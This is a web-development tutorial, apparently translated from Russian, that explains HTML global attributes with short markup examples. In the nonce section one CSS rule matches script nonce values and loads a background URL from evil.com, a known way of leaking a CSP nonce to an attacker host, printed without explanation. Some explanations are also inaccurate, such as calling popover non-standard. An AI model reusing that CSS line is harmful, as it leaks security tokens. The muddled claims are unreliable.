Global attributes can be specified for any HTML element, even those not specified in the standard. This means that all non-standard elements must allow these attributes, even if using these elements means that the document is no longer HTML compliant.
accesskey
Attribut accesskey assigns a keyboard shortcut to an HTML element, allowing users to quickly access or activate the element by pressing a specified key in combination with a key Alt (or key Ctrl on Mac). Not recommended for use
<p>If you need to relax, press the <b>S</b>tress reliever!</p> <button accesskey="s">Stress reliever</button>
autocapitalize
Attribut autocapitalize controls automatic capitalization behavior for input elements and elements contenteditable. It can be set to on or off, or to more specific values such as words, sentences or characters, to define the desired capitalization behavior. off or none – no conversion of letters occurs, all of them remain lowercase by default. on or sentences – the first letter of each sentence must be capitalized, the remaining letters remain lowercase by default. words – the first letter of each word in a sentence must be capitalized, the remaining letters remain lowercase by default. characters – all letters should be capitalized by default. Doesn’t work in Safari
<p><input type="text" autocapitalize="off" placeholder="off"></p> <p><input type="text" autocapitalize="sentences" placeholder="sentences"></p> <p><input type="text" autocapitalize="words" placeholder="words"></p> <p><input type="text" autocapitalize="characters" placeholder="characters"></p>
autofocus
The autofocus attribute, when applied to a form element, specifies that the element should receive focus automatically when the page loads. This is especially useful for input fields where the user is expected to provide immediate input, such as search fields.
contenteditable
The contenteditable attribute determines whether the element’s content can be edited by the user. When set to true, the element becomes editable, allowing users to change its content directly in the browser.
class
The global class attribute is a space-separated list of registers of the element’s dependent classes. Classes allow CSS and Javascript selection and access using class selectors or functions such as the DOM document.getElementsByClassName methods. Developers use the class attribute all the time. Not only does it make styling easier, it also helps you organize your code better and make it easier to maintain.
dir
The dir attribute specifies the text direction for the element’s content. It can be set to ltr (left to right) or rtl (right to left). This attribute is especially important for languages that are written from right to left, such as Arabic and Hebrew.
<p dir="ltr">An example of an English text with the correct direction.</p> <p dir="rtl">An example of English text with the wrong direction.</p>
dragggable
The draggable attribute determines whether the user can drag an element. When set to true, the element becomes draggable, allowing users to move it within a page or between different pages or applications. true – allows element dragging. false – disables dragging of the element. auto – sets the default browser behavior.
<head>
<meta charset="utf-8">
<title>draggable</title>
<style>
.trash {
border: 1px solid #929292; /* Frame Options */
background: url(/example/image/trash.png) no-repeat 50% 50%; /* Background picture */
height: 200px; /* Area height */
padding: 10px; /* Distance from picture to frame */
text-align: center; /* Center alignment */
margin-bottom: 1rem; /* Space below */
}
.trash img {
height: 100%; /* Picture height */
}
img {
cursor: move; /* Changing the cursor type */
}
</style>
<script>
function allowDrop(e) {
e.preventDefault();
}
function drag(e) {
e.dataTransfer.setData("text", e.target.id);
}
function drop(e) {
e.preventDefault();
var data = e.dataTransfer.getData("text");
e.target.appendChild(document.getElementById(data));
}
</script>
</head>
<body>
<p>Move the image into a rectangle.</p>
<div class="trash" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
<img src="image/fig.jpg" draggable="true" alt="" ondragstart="drag(event)" id="photo">
</body>
enterkeyhint
The enterkeyhint attribute provides a hint to the browser about the expected action when the user presses the Enter key while interacting with an input element. Possible values are enter, done, go, next, previous, search and send. The enterkeyhint attribute allows you to change the appearance and behavior of the Enter button on the virtual keyboard of mobile devices. This allows you to change the behavior of form fields and give the user a hint of what to expect when using the keyboard. If the enterkeyhint attribute is not specified, the browser automatically selects the most appropriate type of button.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>enterkeyhint</title>
</head>
<body>
<form>
<p><input type="search" autofocus placeholder="Search the site" enterkeyhint="search">
<button>Find</button></p>
</form>
</body>
</html>
hidden
The hidden attribute is a boolean attribute that, when present, hides the element from the user. This attribute can be used to store information that should not be displayed or to conditionally hide elements based on user interaction. A way to hide an element in cases where opacity or visibility are not suitable. Unlike the other two methods, this one is applied directly in the HTML markup. It’s not best practice to influence the appearance of a page through markup, but sometimes that’s exactly what you want. Essentially, this is display: none – this is how it is described in browser styles.
<p hidden> This text will not be visible on the page. Although the element in the markup will be </p>
inert
The inert attribute, when present, prevents the element and its children from receiving user input events or being focused. This can be useful for creating modal dialogs or other interface elements that should not be interacted with until a certain condition is met. inert removes the element from the navigation order and from the accessibility tree. This means that you cannot click on it, focus on it, enter data and find it through a page search. Screen readers do not read the contents of such elements and do not declare roles. This is similar to the behavior of the other global attribute disabled, but there is a difference between them – inert can be set to any tag or group of tags. inert has no styles by default. However, text inside a block or element with inert cannot be selected, but in the case of disabled it can. If a button has custom styles for hover and focus, then a button with inert will ignore them without additional effort, unlike disabled.
[inert], [inert] * {
opacity: 0.7;
pointer-events: none;
cursor: default;
user-select: none;
}
<form inert>
<fieldset>
<legend>License validity period</legend>
<label for="start">Start date</label>
<input type="date" id="start">
<label for="end">End date</label>
<input type="date" id="end">
<button>Apply</button>
</fieldset>
</form>
inputmode
The inputmode attribute provides a hint to the browser about the type of data that is expected to be entered by the user into a form control, affecting the layout of the virtual keyboard. Possible values: text, decimal, numeric, tel, email, url and search. The inputmode attribute tells the browser on devices with an on-screen keyboard!!! which character set to show when entering data in a specific field. Specified for input or textarea elements.
<input type="text" inputmode="numeric"> <textarea inputmode="text"></textarea>
is
The is attribute is used in conjunction with custom elements, allowing developers to create new HTML elements with custom behavior and properties. It specifies the name of the custom element definition from which the element should inherit its behavior. Doesn’t work in Safari
customElements.define('word-count', WordCount, { extends: 'p' });
<p is="word-count"></p>
itemid
The itemid attribute, used in conjunction with the Microdata API, assigns a unique identifier to an element on a page, allowing developers to create machine-readable structured data. The itemid attribute specifies a unique global item identifier for microdata. Applies only to elements that have both the itemscope and itemtype attributes set. In addition, itemid can be used with dictionaries that support global identifiers. For example, for the dictionary http://schema.org/Book, which describes books, the ISBN, a unique international number of a book publication, can serve as an identifier.
<body> <div itemscope itemtype="http://schema.org/Book" itemid="isbn:978-5-17-075250-8"> <h2 itemprop="name">Game of Thrones</h2> <div itemprop="author">George Martin</div> <div itemprop="bookFormat">Hardcover</div> <div itemprop="description">An epic, haunting saga about the world of the Seven Kingdoms.</div> </div> </body>
itemprop
The itemprop attribute is used with microdata to define a property of an item, allowing search engines and other tools to extract and process structured data from a web page. The itemprop attribute is used to add microdata dictionary properties to an item. The property name is determined by the itemprop value, and the property value is determined by the content of the HTML element, for example, the text that is located inside the element
<body>
<div itemscope itemtype="http://schema.org/Movie">
<div>
<h1 itemprop="name">Cloud Atlas</h1>
<span itemprop="alternativeHeadline">Cloud Atlas</span>
<img src="464484.jpg" alt="Cloud Atlas" itemprop="image">
</div>
<span>
<a itemprop="director" href="/name/23330/">Lana Wachowski</a>
</span>
<span>
<a itemprop="producer" href="/name/26437/">Stefan Arndt</a>
</span>
<span>
<a itemprop="musicBy" href="/name/312865/">Reinhold Heil</a>
</span>
<span>
<a itemprop="genre" href="/level/10/m_act%5Bgenre%5D/2/">fantasy</a>
</span>
<span class="title">Starring:</span>
<div>
<a itemprop="actor" href="/name/9144/">Tom Hanks</a>
<a itemprop="actor" href="/name/1179/">Halle Berry</a>
<a itemprop="actor" href="/name/38704/">Jim Broadbent</a>
</div>
<span itemprop="description">Six stories - five reincarnations taking place at different times, closely intertwined with each other…</span>
</div>
</body>
<div itemscope itemtype="http://schema.org/Event">
<div itemprop="name">Spinal Tap</div>
<span itemprop="description">One of the biggest bands of all time will reunite for an unforgettable two-night show.</span> The concert will take place
<time itemprop="startDate" datetime="2011-05-08T19:30">May 8 в 19:30</time>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span> <span itemprop="price">$19.95</span>
<span itemprop="availability">Already on sale!</span>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span>
<span itemprop="price">$19.95</span>
<link itemprop="availability" href="http://schema.org/InStock"/>Already on sale!
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="alice.html" itemprop="url">Alice Jones</a>
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="bob.html" itemprop="url">Bob Smith</a>
</div>
Полный список типов сущностей http://schema.org/docs/full.html
itemref
The itemref attribute is used in microdata to define the relationship between an element with an itemscope attribute and other elements containing itemprop attributes that belong to the same element but are not descendants of the element with an itemscope. Properties that are not children of an element with an itemscope attribute can be associated with the element using the itemref attribute. The value of this attribute specifies a list of element identifiers that contain additional properties elsewhere in the document. The itemref attribute can only be specified on elements that contain the itemscope attribute. The itemref attribute is not part of the microdata model. It’s just a syntactic construct to help authors add annotation to a page that doesn’t contain a convenient tree structure.
<div itemscope itemtype="http://schema.org/Product" itemref="name thumb description"></div>
itemscope
The itemscope attribute is used with microdata to define a new element, creating a scope for itemprop attributes to associate properties with the element. The itemscope attribute specifies the scope of the dictionary in the data structure. Typically works in conjunction with the itemtype attribute and specifies the limits where the itemtype will be active.
itemtype
The itemtype attribute is used in microdata to define a dictionary for an element, providing context for properties defined using itemprop attributes. The itemtype attribute specifies the address of the dictionary that will be used to define the properties of the item in the data structure. Yandex and Google support the Schema.org markup standard; accordingly, the itemtype value specifies the address of the dictionary on this site. For example, to mark organizations, the value is used http://schema.org/Organization.
lang
The lang attribute identifies the language of an element’s content, improving accessibility, allowing screen readers to use correct pronunciation rules, and assisting with translation.
<p>This paragraph is English, but the language is not specifically defined.</p> <p lang="en-GB">This paragraph is defined as British English.</p> <p lang="fr">Ce paragraphe est défini en français.</p>
nonce
The nonce attribute is used in a content security policy (CSP) to allow the execution of certain inline scripts or styles, increasing security by preventing unauthorized code execution.
<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
In PHP 7+ projects, to generate ‘nonce’ you can use the random_bytes() function, the result of which must be processed base64_encode() or bin2hex():
$nonce = base64_encode( random_bytes(128/8) ); // base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw== $nonce = bin2hex( random_bytes(128/8) ); // Hex string like: 8153dd199525aed568a27dfd31038e4b
popover
The popover attribute is not a standard global attribute in HTML. It can refer to a custom attribute used in certain libraries or frameworks to display additional information when hovering or clicking on an element.
<button popovertarget="my-popover">
Show popover
</button>
<div id="my-popover" popover>
<p>I am a simple but cool popover that can be closed with the same button</p>
</div>
<button popovertarget="my-popover" popovertargetaction="show">
Show popover
</button>
<div id="my-popover" popover>
<button popovertarget="my-popover" popovertargetaction="hide">
<span aria-hidden="true">❌</span>
<span class="sr-only">Close</span>
</button>
<p>I am a popover that cannot be closed with the same button</p>
</div>
The popover attribute has two values: auto is the default value and does not need to be specified explicitly. Only one is shown at a time. The popover can be closed by clicking outside the element; manual – you can show several at the same time. The popover cannot be closed by clicking outside of it.
<button popovertarget="popover-auto"> <code>popover="auto"</code> </button> Tooltip <div id="popover-auto" popover="auto"> <p>I close other pop-ups. I close myself easily.</p> </div>
<button popovertarget="popover-manual"> <code>popover="manual"</code> </button> Tooltip <div id="popover-manual" popover="manual"> <p>I don't close others. I won't close without a button.</p> </div>
spellcheck
The spellcheck attribute determines whether the content of an element should be checked by the browser for spelling and grammatical errors. Tells the browser whether or not to check the spelling and grammar in the text. Although the attribute can be set for almost all elements, the result will be noticeable only for form fields (input, textarea), as well as editable elements (they have the contenteditable attribute set). Depends on browser settings.
<p contenteditable="true" spellcheck="false"> Firefox does not disable spell checking for editable fields (those with the contenteditable attribute set). </p>
style
The style attribute is used to apply inline CSS styles directly to an HTML element, allowing you to quickly and accurately change the style without the need for an external style sheet. Applies to tags a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.
<p><span style="color: red; font-size: 2em">L</span>orem ipsum dolor sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt ut lacreet dolore magna aliguam erat volutpat.</p> <div style="width: 50%;"></div>
tabindex
The tabindex attribute specifies the order in which an element receives focus when the user navigates the page using the Tab key. tabindex is so called because of the Tab key, which is used to move between interactive elements. This action is also often called “tab” or “tab”. The tabindex value is any negative or positive integer. For example, 0, 1 or -1. 0 – The element is in sequential navigation (or focus) order, but the order itself is determined by the browser. 1 or another positive number – an element in the navigation order without the participation of the browser. The higher the value, the higher the element is in order. -1 or another negative number – the element can be clicked, but it does not fall into the sequential navigation order. That is, you cannot focus on it from the keyboard, even if it was possible before. By default, all tags in navigation order have a value of 0. These are a or area with an href, button, input, select, textarea attribute, the first summary element inside details, iframe and object.
If several elements have the same positive values, they are listed in the order they appear in the code. In this example, the focus will first be on the Whiskers link, then on the Paws, and then on the Tail.
<a href="#mustache" tabindex="1">Whiskers</a> <a href="#paws" tabindex="1">Paws</a> <a href="#tail" tabindex="1">Tail</a>
Any element supports focus if it has tabindex
<ul>
<li tabindex="1">One</li>
<li tabindex="0">Zero</li>
<li tabindex="2">Two</li>
<li tabindex="-1">Minus one</li>
</ul>
<style>
li { cursor: pointer; }
:focus { outline: 1px dashed green; }
</style>
title
The title attribute provides additional information about the element, usually displayed as a tooltip when you hover the mouse over the element. Adds a tooltip with text that appears when you hover over an element. The appearance of such a tooltip depends on the browser and operating system settings and cannot be changed directly using HTML code or styles. The alt attribute is used for images in the HTML img tag. It contains alternative text that is displayed when the image does not load for some reason.
<p title="Here I am!">Tooltip example</p> <img alt="the cat stands on two legs and looks out the window" src="link_to_image.jpg">
translate
The translate attribute specifies whether the element’s content should be translated when the page is localized, giving you more control over the translation process. The translate attribute determines whether the content of a given element can be translated or not. Translation can be carried out by various automated services, such as Google Translate.
<p translate="no">This is not to be translated!</p> <p>This text can be translated into any language.</p>
The attribute is taken into account by translation systems
